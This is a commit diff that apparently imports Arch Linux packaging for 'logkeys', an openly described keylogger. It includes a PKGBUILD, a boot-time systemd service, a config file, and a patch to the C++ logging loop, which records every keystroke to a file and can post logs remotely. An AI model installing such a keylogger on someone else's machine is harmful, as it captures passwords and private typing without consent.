diff options
author | SanskritFritz | 2015-06-14 00:38:21 +0200 |
---|---|---|
committer | SanskritFritz | 2015-06-14 00:38:21 +0200 |
commit | a3178f18584d8c12595022e56d45099429004891 (patch) | |
tree | a641bb861643ffd56bb333671497fb82a356ab01 | |
download | aur-a3178f18584d8c12595022e56d45099429004891.tar.gz |
Initial import
-rw-r--r-- | .SRCINFO | 22 | ||||
-rw-r--r-- | PKGBUILD | 38 | ||||
-rw-r--r-- | logkeys-stdout.patch | 148 | ||||
-rw-r--r-- | logkeys.install | 9 | ||||
-rw-r--r-- | logkeys.service | 12 | ||||
-rw-r--r-- | logkeysd.conf | 4 |
6 files changed, 233 insertions, 0 deletions
diff --git a/.SRCINFO b/.SRCINFO new file mode 100644 index 000000000000..06f295d55646 --- /dev/null +++ b/.SRCINFO @@ -0,0 +1,22 @@ +pkgbase = logkeys + pkgdesc = Simple keylogger supporting also USB keyboards. + pkgver = 0.1.1a + pkgrel = 12 + url = http://logkeys.googlecode.com/ + install = logkeys.install + arch = i686 + arch = x86_64 + license = GPLv3 + optdepends = logkeys-keymaps: for additional keymaps + backup = etc/conf.d/logkeysd + source = http://logkeys.googlecode.com/files/logkeys-0.1.1a.tar.gz + source = logkeys-stdout.patch + source = logkeysd.conf + source = logkeys.service + md5sums = 19362a382b65e89c66ea4c5642297589 + md5sums = c11258ab13560081c2cdb56ccd31c6cd + md5sums = c05608a47e303e8f604f46d1ed22aa4a + md5sums = bd70a5e5601168bbf7bf7f91ee530d14 + +pkgname = logkeys + diff --git a/PKGBUILD b/PKGBUILD new file mode 100644 index 000000000000..5b5eea83035a --- /dev/null +++ b/PKGBUILD @@ -0,0 +1,38 @@ +# Contributor: wido <widomaker2k7@gmail.com> +# Contributor: SakalisC <chrissakalis (gmail)> +# Maintainer: SanskritFritz (gmail) + +pkgname=logkeys +pkgver=0.1.1a +pkgrel=12 +pkgdesc="Simple keylogger supporting also USB keyboards." +license=('GPLv3') +arch=('i686' 'x86_64') +optdepends=('logkeys-keymaps: for additional keymaps') +url="http://logkeys.googlecode.com/" +install="logkeys.install" +backup=('etc/conf.d/logkeysd') +source=("http://logkeys.googlecode.com/files/$pkgname-$pkgver.tar.gz" + logkeys-stdout.patch logkeysd.conf logkeys.service) + +md5sums=('19362a382b65e89c66ea4c5642297589' + 'c11258ab13560081c2cdb56ccd31c6cd' + 'c05608a47e303e8f604f46d1ed22aa4a' + 'bd70a5e5601168bbf7bf7f91ee530d14') + +build() { + cd "$srcdir/$pkgname-$pkgver" + patch -p1 < "$srcdir/logkeys-stdout.patch" + ./configure --prefix=/usr + make +} + +package() { + cd "$srcdir/$pkgname-$pkgver" + make prefix="$pkgdir/usr" install + # File (/usr/etc/) in a non-standard directory (those scripts are useless anyway). + rm -rf "$pkgdir/usr/etc/" + + install -Dm0644 "$srcdir/logkeysd.conf" "$pkgdir/etc/conf.d/logkeysd" + install -Dm0644 "$srcdir/logkeys.service" "$pkgdir/usr/lib/systemd/system/logkeys.service" +} diff --git a/logkeys-stdout.patch b/logkeys-stdout.patch new file mode 100644 index 000000000000..3f0bb7930402 --- /dev/null +++ b/logkeys-stdout.patch @@ -0,0 +1,148 @@ +diff -urN logkeys-0.1.1a.org/src/logkeys.cc logkeys-0.1.1a/src/logkeys.cc +--- logkeys-0.1.1a.org/src/logkeys.cc 2010-05-31 07:04:57.000000000 +0200 ++++ logkeys-0.1.1a/src/logkeys.cc 2012-01-04 13:18:49.000000000 +0100 +@@ -237,8 +237,7 @@ + memset(shift_keys, '\0', sizeof(shift_keys)); + memset(altgr_keys, '\0', sizeof(altgr_keys)); + +- stdin = freopen(args.keymap, "r", stdin); +- if (stdin == NULL) ++ if (freopen(args.keymap, "r", stdin) == NULL) + error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap); + + unsigned int i = -1; +@@ -354,7 +353,9 @@ + + + int main(int argc, char **argv) +-{ ++{ ++ FILE *ofp; ++ + on_exit(exit_cleanup, NULL); + + if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?"); +@@ -424,10 +425,10 @@ + setegid(getgid()); + } + +- // open log file as stdout (if file doesn't exist, create it with safe 0600 permissions) ++ // open log file (if file doesn't exist, create it with safe 0600 permissions) + umask(0177); +- stdout = freopen(args.logfile, "a", stdout); +- if (stdout == NULL) ++ ofp = fopen(args.logfile, "a"); ++ if (ofp == NULL) + error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile); + + // now we need those privileges back in order to create system-wide PID_FILE +@@ -457,10 +458,10 @@ + strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time)); + + if (args.flags & FLAG_NO_TIMESTAMPS) +- file_size += fprintf(stdout, "Logging started at %s\n\n", timestamp); ++ file_size += fprintf(ofp, "Logging started at %s\n\n", timestamp); + else +- file_size += fprintf(stdout, "Logging started ...\n\n%s", timestamp); +- fflush(stdout); ++ file_size += fprintf(ofp, "Logging started ...\n\n%s", timestamp); ++ fflush(ofp); + + // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) + while (read(input_fd, &event, sizeof(struct input_event)) > 0) { +@@ -476,14 +477,14 @@ + scan_code = event.code; + + if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error +- inc_size += fprintf(stdout, "<E-%x>", scan_code); ++ inc_size += fprintf(ofp, "<E-%x>", scan_code); + if (inc_size > 0) file_size += inc_size; + continue; + } + + // if remote posting is enabled and size treshold is reached + if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) { +- fclose(stdout); ++ fclose(ofp); + + std::stringstream ss; + for (int i = 1;; ++i) { +@@ -496,8 +497,8 @@ + if (rename(args.logfile, ss.str().c_str()) == -1) // move current log file to indexed + error(EXIT_FAILURE, errno, "Error renaming logfile"); + +- stdout = fopen(args.logfile, "a"); // open empty log file with the same name +- if (stdout == NULL) ++ ofp = fopen(args.logfile, "a"); // open empty log file with the same name ++ if (ofp == NULL) + error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.logfile); + + file_size = 0; // new log file is now empty +@@ -521,7 +522,7 @@ + prev_code == KEY_LEFTSHIFT || prev_code == KEY_RIGHTCTRL); // if repeated key is modifier, do nothing + else { + if ((args.flags & FLAG_NO_FUNC_KEYS) && is_func_key(prev_code)); // if repeated was function key, and if we don't log function keys, then don't log repeat either +- else inc_size += fprintf(stdout, "<#+%d>", count_repeats); ++ else inc_size += fprintf(ofp, "<#+%d>", count_repeats); + } + count_repeats = 0; // reset count for future use + } +@@ -533,12 +534,12 @@ + if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || + (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { + if (ctrl_in_effect) +- inc_size += fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D ++ inc_size += fprintf(ofp, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D + if (args.flags & FLAG_NO_TIMESTAMPS) +- inc_size += fprintf(stdout, "\n"); ++ inc_size += fprintf(ofp, "\n"); + else { + strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); +- inc_size += fprintf(stdout, "%s", timestamp); // then newline and timestamp ++ inc_size += fprintf(ofp, "%s", timestamp); // then newline and timestamp + } + if (inc_size > 0) file_size += inc_size; + continue; // but don't log "<Enter>" +@@ -571,17 +572,17 @@ + else // neither altgr nor shift are effective, this is a normal char + wch = char_keys[to_char_keys_index(scan_code)]; + +- if (wch != L'\0') inc_size += fprintf(stdout, "%lc", wch); // write character to log file ++ if (wch != L'\0') inc_size += fprintf(ofp, "%lc", wch); // write character to log file + } + else if (is_func_key(scan_code)) { + if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested +- inc_size += fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]); ++ inc_size += fprintf(ofp, "%ls", func_keys[to_func_keys_index(scan_code)]); + } + else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { +- inc_size += fprintf(stdout, " "); // but always log a single space for Space and Tab keys ++ inc_size += fprintf(ofp, " "); // but always log a single space for Space and Tab keys + } + } +- else inc_size += fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error ++ else inc_size += fprintf(ofp, "<E-%x>", scan_code); // keycode is neither of character nor function, log error + } // if (EV_MAKE) + + // on key release +@@ -595,7 +596,7 @@ + } + + prev_code = scan_code; +- fflush(stdout); ++ fflush(ofp); + if (inc_size > 0) file_size += inc_size; + + } // while (read(input_fd)) +@@ -603,9 +604,9 @@ + // append final timestamp, close files and exit + time(&cur_time); + strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time)); +- fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp); ++ fprintf(ofp, "\n\nLogging stopped at %s\n\n", timestamp); + +- fclose(stdout); ++ fclose(ofp); + + remove(PID_FILE); + diff --git a/logkeys.install b/logkeys.install new file mode 100644 index 000000000000..015ea50749c7 --- /dev/null +++ b/logkeys.install @@ -0,0 +1,9 @@ + +post_install() { + echo "Please review the parameters in /etc/conf.d/logkeysd afterwards." + echo "There you can set alternative keyboard maps." +} + +post_upgrade() { + post_install $1 +} diff --git a/logkeys.service b/logkeys.service new file mode 100644 index 000000000000..8bf1ca48b406 --- /dev/null +++ b/logkeys.service @@ -0,0 +1,12 @@ +[Unit] +Description=Keylogger daemon + +[Service] +Type=forking +GuessMainPID=yes +EnvironmentFile=/etc/conf.d/logkeysd +ExecStart=/usr/bin/logkeys --start $LOGKEYS_PARAMS +ExecStop=/usr/bin/logkeys --kill + +[Install] +WantedBy=multi-user.target diff --git a/logkeysd.conf b/logkeysd.conf new file mode 100644 index 000000000000..82921f578894 --- /dev/null +++ b/logkeysd.conf @@ -0,0 +1,4 @@ +# Example parameters for logkeys. +#LOGKEYS_PARAMS="--no-func-keys --keymap /usr/share/lkmaps/en_GB.map" +LOGKEYS_PARAMS="" + |